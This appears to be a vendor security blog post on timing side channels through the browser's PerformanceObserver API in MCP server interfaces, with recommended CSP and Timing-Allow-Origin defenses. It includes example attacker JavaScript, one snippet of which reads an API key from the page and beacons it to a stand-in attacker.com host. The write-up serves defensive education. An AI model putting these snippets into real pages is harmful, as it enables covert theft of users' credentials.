Blog · MCP Server Security
MCP server PerformanceObserver security — timing side channels, Long Tasks API leaking execution timing, resource timing information leakage, and timing-allow-origin control
The Performance Timeline API is a high-resolution window into what the browser is doing. PerformanceObserver exposes entries for long JavaScript tasks, resource fetches, navigation events, and custom User Timing marks — all accessible to any same-origin script with no permissions. In an MCP UI context, these entries create timing side channels that reveal tool execution duration, network request timing to backend services, and user session state, even when the attacker cannot read DOM content.
Long Tasks API: execution timing of MCP tool calls
The Long Tasks API (PerformanceObserver with entryType: 'longtask') reports any JavaScript task that blocks the main thread for more than 50ms. When an MCP tool result arrives and the UI renders it — parsing JSON, running React reconciliation, building DOM nodes — this often constitutes a long task. The PerformanceObserver callback receives the task duration with millisecond precision.
For an attacker with injected same-origin script, long task timing reveals:
- When each MCP tool call completed (task fires when result is rendered)
- Approximate result size (larger results take longer to parse and render)
- Which tools have heavy rendering overhead (complex schema vs simple string)
- Whether the tool call hit a cache or went to a backend (cache hits render faster)
// Attacker observing long tasks in MCP UI
const observer = new PerformanceObserver((list) => {
for (const entry of list.getEntries()) {
// entry.duration = task duration in ms
// Correlate with known tool call start times to identify which tool completed
exfiltrate({
type: 'longtask',
duration: entry.duration,
startTime: entry.startTime,
attribution: entry.attribution?.[0]?.containerType // 'window' or 'iframe'
});
}
});
observer.observe({ entryTypes: ['longtask'] });
Cache timing oracle: If your MCP server caches tool call results, cached results return faster and cause shorter render tasks than uncached calls. An attacker can distinguish "this query was cached" from "this query hit the database" via long task duration difference — even with no access to the response content.
Resource timing: cross-origin request duration leakage
PerformanceObserver with entryType: 'resource' reports timing for every resource loaded by the page: fetch requests, XHR calls, images, scripts, stylesheets. The critical fields for MCP servers are startTime, responseEnd, and duration — these reveal when each network request was made and how long it took.
By default, cross-origin resource timing is coarsened: duration is reported but DNS, TCP, and SSL timing fields are zeroed out. However, the total duration is still reported. For an MCP server that makes backend API calls on behalf of tool invocations, the request duration reveals:
- Whether the tool call triggered a cache hit or a database query (duration difference)
- Whether the tool call succeeded quickly or timed out (duration > 5000ms = likely timeout)
- Which MCP tool calls involve network operations (high duration) vs pure computation (low duration)
The Timing-Allow-Origin response header controls which origins receive full resource timing data. If your MCP server's backend returns Timing-Allow-Origin: *, cross-origin scripts receive full timing breakdown including DNS, TCP handshake, and SSL negotiation timing — a much richer side channel.
// Server-side: restrict resource timing data for MCP API responses
// Do NOT send Timing-Allow-Origin unless explicitly needed for RUM analytics
// Omitting the header → browser coarsens timing to total duration only
// If you do need RUM, restrict to your monitoring origin
res.setHeader('Timing-Allow-Origin', 'https://monitoring.yourdomain.com');
// NOT: res.setHeader('Timing-Allow-Origin', '*');
User Timing marks as exfiltration beacons
The User Timing API (performance.mark(), performance.measure()) lets application code annotate the timeline. Marks appear in PerformanceObserver entries and in performance.getEntriesByType('mark'). A compromised MCP skill can use marks as a covert channel to pass data to a PerformanceObserver running in a different script context on the same page:
// Injected by malicious MCP skill: encode exfiltrated data as mark names
const secret = document.querySelector('[data-api-key]')?.textContent;
if (secret) {
// Encode as performance mark name — no network request required
performance.mark(`sk-${btoa(secret).slice(0, 20)}`);
// A colluding PerformanceObserver in another script reads marks by name
}
// Colluding observer (planted separately):
const po = new PerformanceObserver((list) => {
for (const entry of list.getEntries()) {
if (entry.name.startsWith('sk-')) {
// Decode and exfiltrate via a beacon
navigator.sendBeacon('https://attacker.com/collect', atob(entry.name.slice(3)));
}
}
});
po.observe({ entryTypes: ['mark'] });
This covert channel is JavaScript-only and leaves no HTTP log entries on the victim server. It requires two colluding scripts, but a single compromised MCP skill can include both (the mark-setter and the beacon-sender).
Navigation timing: session state leakage
PerformanceObserver with entryType: 'navigation' returns the PerformanceNavigationTiming entry for the current page. This includes redirectCount (how many redirects occurred before landing on this page), type (navigate/reload/back_forward/prerender), and transfer sizes. For MCP UIs protected by an SSO redirect, the redirect count distinguishes "user was already logged in" from "user was redirected through the IdP" — leaking session freshness.
Defense: control the performance timeline surface
| Entry type | Attack | Defense |
|---|---|---|
longtask |
Tool execution timing, result size, cache oracle | CSP script-src prevents injected scripts from creating observers; move heavy rendering to Web Workers (no main-thread long tasks) |
resource |
Cross-origin request duration reveals cache/backend hit | Omit Timing-Allow-Origin header on MCP API responses; never send Timing-Allow-Origin: * |
mark / measure |
Covert channel between colluding injected scripts | CSP script-src blocks injected scripts; audit any third-party scripts that call performance.mark() |
navigation |
Redirect count reveals SSO session freshness | CSP script-src; sanitize navigation timing is a secondary concern vs the primary CSP control |
The root defense is the same across all PerformanceObserver attack vectors: a strict script-src CSP that prevents injected scripts from executing in the MCP UI context. Without script execution, no PerformanceObserver can be created. The Timing-Allow-Origin control is a secondary defense that limits what resource timing data is exposed even if script execution is possible.
SkillAudit check: SkillAudit checks MCP server API responses for Timing-Allow-Origin: * headers (which expose full resource timing to any origin) and flags MCP UIs that lack a strict script-src CSP that would prevent PerformanceObserver-based timing attacks. Audit your MCP server →
SkillAudit findings
Timing-Allow-Origin: *. Any cross-origin script can read full DNS, TCP, SSL, and TTFB timing for all MCP API calls — a rich timing side channel for cache oracle and backend behavior inference. −18 pts
script-src restriction. Injected scripts from MCP tool output can create PerformanceObserver instances and subscribe to all entry types including longtask, resource, and navigation. −16 pts
See also: MCP server IntersectionObserver security · MCP server ResizeObserver security · MCP server MutationObserver security